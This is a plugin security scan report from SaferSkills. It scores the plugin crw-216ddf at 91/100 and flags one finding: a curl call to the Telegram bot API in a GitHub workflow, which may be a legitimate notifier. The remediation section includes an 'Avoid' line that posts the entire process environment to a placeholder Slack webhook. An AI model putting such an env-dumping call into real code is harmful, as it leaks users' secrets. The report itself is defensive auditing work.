crw-216ddf— plugin

crw-216ddf — independently scanned and version-tracked by SaferSkills.

by us·Plugin·github.com/us/crw

Is crw-216ddf safe to install?

SaferSkills independently audited crw-216ddf (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
91/100
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Re-scan~30s
Latest scan
ScannedJun 25, 2026 · 129d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 1 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
75
26.3 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · .github/workflows/bump-saas-pin.yml
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (curl -s -m 10 "https://api.telegram.org/bot${TG_…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpt.github/workflows/bump-saas-pin.yml· yaml
129set -u
130[ -n "${TG_TOKEN:-}" ] && [ -n "${TG_CHAT:-}" ] || exit 0
131curl -s -m 10 "https://api.telegram.org/bot${TG_TOKEN}/sendMessage" \
132--data-urlencode "chat_id=${TG_CHAT}" \
133--data-urlencode "text=🔴 bump-saas-pin FAILED to push — opencore ${OPENCORE_SHA} did NOT sh
… (5 chars elided on L133)
Occurrences
1 occurrence · at L131
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2561475723810d8ae4c…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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